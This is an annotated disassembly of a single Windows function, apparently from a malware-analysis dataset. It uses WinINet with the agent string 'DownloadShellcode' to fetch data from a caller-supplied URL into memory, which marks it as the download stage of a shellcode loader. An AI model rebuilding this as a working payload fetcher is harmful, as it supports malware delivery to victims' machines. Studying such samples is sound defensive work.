Function at 0x405a70
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x575fd0
mov eax, dword fs:[0]
push eax
sub esp, 0x444
mov eax, dword [0x5db040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
push 0
push 0
push 0
push 0
push str.DownloadShellcode
mov dword [ebp - 0x448], edi
mov dword [ebp - 0x440], edi
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x440], eax
test eax, eax
jne 0x405b21
push str.InternetOpen_failed:
push 0x5e3bb8
call fcn.004032e0
add esp, 8
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov ecx, esi
call fcn.004055f0
push eax
call fcn.00404120
xorps xmm0, xmm0
add esp, 4
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
jmp 0x405e1f
cmp dword [esi + 0x14], 7
jbe 0x405b29
mov esi, dword [esi]
push 0
push SysReAllocStringLen
push 0
push 0
push esi
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov ecx, eax
mov dword [ebp - 0x44c], ecx
test ecx, ecx
jne 0x405ba9
push str.InternetOpenUrl_failed:
push 0x5e3bb8
call fcn.004032e0
add esp, 8
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov ecx, esi
call fcn.004055f0
push eax
call fcn.00404120
add esp, 4
push dword [ebp - 0x440]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xorps xmm0, xmm0
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
jmp 0x405e1f
xor eax, eax
mov dword [ebp - 0x414], 0xf
xorps xmm0, xmm0
mov dword [ebp - 0x430], eax
movups xmmword [ebp - 0x428], xmm0
mov dword [ebp - 0x418], eax
mov byte [ebp - 0x428], al
mov dword [ebp - 4], eax
mov dword [ebp - 0x43c], eax
lea eax, [ebp - 0x43c]
push eax
push 0x400
lea eax, [ebp - 0x410]
push eax
push ecx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x405dde
mov esi, dword [ebp - 0x428]
mov edi, dword [ebp - 0x43c]
test edi, edi
je 0x405dd8
mov edx, dword [ebp - 0x414]
mov eax, edx
mov ecx, dword [ebp - 0x430]
sub eax, ecx
cmp edi, eax
ja 0x405c68
lea eax, [ecx + edi]
cmp edx, 0xf
mov dword [ebp - 0x418], eax
lea eax, [ebp - 0x428]
cmova eax, esi
push edi
lea esi, [eax + ecx]
lea eax, [ebp - 0x410]
push eax
push esi
call fcn.0054e4c0
mov byte [esi + edi], 0
add esp, 0xc
mov eax, dword [ebp - 0x418]
mov esi, dword [ebp - 0x428]
mov dword [ebp - 0x430], eax
jmp 0x405db1
mov eax, SysReAllocString
mov dword [ebp - 0x438], ecx
sub eax, ecx
cmp eax, edi
jb 0x405e3c
lea eax, [ecx + edi]
mov dword [ebp - 0x434], edx
mov ecx, eax
mov dword [ebp - 0x430], eax
or ecx, 0xf
cmp ecx, 0x7fffffff
jbe 0x405ca0
mov ecx, SysReAllocString
jmp 0x405cc5
shr edx, 1
mov eax, SysReAllocString
sub eax, edx
cmp dword [ebp - 0x434], eax
jbe 0x405cb8
mov ecx, SysReAllocString
jmp 0x405cc5
mov eax, dword [ebp - 0x434]
add eax, edx
cmp ecx, eax
cmovb ecx, eax
lea eax, [ebp - 0x42c]
mov dword [ebp - 0x42c], ecx
push eax
lea eax, [ebp - 0x428]
push eax
call fcn.00403830
mov ecx, dword [ebp - 0x438]
mov edx, eax
mov eax, dword [ebp - 0x430]
add esp, 8
mov dword [ebp - 0x418], eax
mov eax, dword [ebp - 0x42c]
mov dword [ebp - 0x414], eax
lea eax, [ecx + edx]
mov dword [ebp - 0x42c], eax
add eax, edi
cmp dword [ebp - 0x434], 0xf
mov dword [ebp - 0x444], edx
mov dword [ebp - 0x438], eax
push ecx
jbe 0x405d79
push esi
push edx
call fcn.0054e4c0
push edi
lea eax, [ebp - 0x410]
push eax
push dword [ebp - 0x42c]
call fcn.0054e4c0
mov eax, dword [ebp - 0x438]
add esp, 0x18
mov ecx, dword [ebp - 0x434]
inc ecx
mov byte [eax], 0
mov eax, esi
cmp ecx, 0x1000
jb 0x405d6d
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405e41
push ecx
push esi
call fcn.00549236
add esp, 8
jmp 0x405da5
lea eax, [ebp - 0x428]
push eax
push edx
call fcn.0054e4c0
push edi
lea eax, [ebp - 0x410]
push eax
push dword [ebp - 0x42c]
call fcn.0054e4c0
mov eax, dword [ebp - 0x438]
add esp, 0x18
mov byte [eax], 0
mov esi, dword [ebp - 0x444]
mov dword [ebp - 0x428], esi
lea eax, [ebp - 0x43c]
push eax
push 0x400
lea eax, [ebp - 0x410]
push eax
push dword [ebp - 0x44c]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x405c02
mov edi, dword [ebp - 0x448]
push dword [ebp - 0x44c]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0x440]
call esi
xorps xmm0, xmm0
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
movups xmm0, xmmword [ebp - 0x428]
mov dword [edi + 0x14], 0
movups xmmword [edi], xmm0
movq xmm0, qword [ebp - 0x418]
movq qword [edi + 0x10], xmm0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00549495
mov esp, ebp
pop ebp
ret
call fcn.00406c40
call fcn.00551fba
int3